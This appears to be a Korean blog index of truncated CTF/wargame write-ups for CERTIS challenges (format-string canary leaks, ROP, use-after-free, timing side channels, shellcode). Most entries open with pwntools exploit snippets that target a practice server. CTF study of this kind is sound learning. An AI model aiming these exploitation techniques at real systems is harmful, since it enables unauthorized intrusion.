Mr.BIN Universe

[Wargame] CERTIS get shell if you can 3

Get shell if you can 3 fsb로 canary를 leak 한 뒤 rop 사용해서 쉘 따는 문제. from pwn import * #context.log_level = 'debug' s = remote("wargame.kimtae.xyz", 10017) libc = ELF("./libc-2.23.so") #remote #s =...

[Wargame] CERTIS get shell if you can 2

Get shell if you can 2 input 스트링을 malloc 한 변수에 저장 > uaf 사용해서 함수포인터 조작한 뒤 rop from pwn import * s = remote("wargame.kimtae.xyz",10015) lib = ELF('./libc-2.23.so') # remote #s = remote("52.7...

[Wargame] CERTIS get shell if you can 1

Get shell if you can 1 rop 문제 from pwn import * #context.log_level = 'debug' s = remote("wargame.kimtae.xyz", 10016) lib = ELF("./libc6-i386_2.23-0ubuntu5_amd64.so") main = 0x08048676 write_...

[Wargame] CERTIS powpow

Powpow side channel attack 문제 input 스트링으로 flag를 입력받는데 flag 글자 하나당 최대 4100 x 4100 = 16,810,000번 검사함. 중간에 flag에 맞는 글자가 나오면 검사 시간이 짧게 측정됨. 경과 시간을 바탕으로 flag 값 예측. 서버 시간이 들쑥날쑥이라 기준을 잘 세워야함. ...

[Wargame] CERTIS permit

Permit strace 한 log 파일이 주어지고 바이너리는 없음. strace log 파일을 가지고 쉘 따는 문제. 0xfffdd010 주소 영역에 input 값이 써지며 해당 영역은 실행 권한이 있는 영역임을 알 수 있음. SIGSEGV의 si_addr을 보면 맨 뒤 두바이트가 6261로 덮힌 것을 확인. input값에 쉘 코...

[Wargame] CERTIS autorev

Autorev nc로 접속하면 라운드마다 바이너리를 하니씩 날려 줌. 문제 제목 그대로 자동화 리버싱 툴을 만들어 풀어야 함. 그래프 뷰가 매우 기괴하게 생겼음. 아래 코드를 바탕으로 정형화된 형식을 찾음. from pwn import * def make_binary(): f = open("aa"...

[Wargame] CERTIS fsb

Fsb format string 문제. 바이너리가 처음에 input 값에 대한 버퍼 주소를 던져줌. ret 조작해서 hidden 함수로 점프 from pwn import * #s = remote("52.79.124.141", 44444) s = remote("wargame.kimtae.xyz", 10017) data = s.recvu...

[Wargame] CERTIS random enc

Random enc secret 파일과 out.enc 라는 파일이 주어짐. secret 파일은 파이썬 바이트 코드이며 uncompyle 툴로 디컴파일이 가능. 디컴파일한 코드에는 flag.txt를 enc한 코드가 있고 이를 토대로 dec 해야함. import random import ctypes from time imp...

[Wargame] CERTIS rop

Rop rop 문제. from pwn import * s = remote("wargame.kimtae.xyz",10018) lib = ELF('./rop.so') dummy = "A"*40 p_rdi = 0x00400793 puts_plt = 0x0000000000400520 puts_got = 0x0000000000601018 vuln...

[Wargame] CERTIS uaf

Uaf uaf 취약점 문제 hello 함수 포인터를 덮어서 getflag 함수로 점프. from pwn import * s = remote("wargame.kimtae.xyz",10015) get_flag = p32(0x080486E6) payload = "A"*40 payload += get_flag s.recvuntil("I...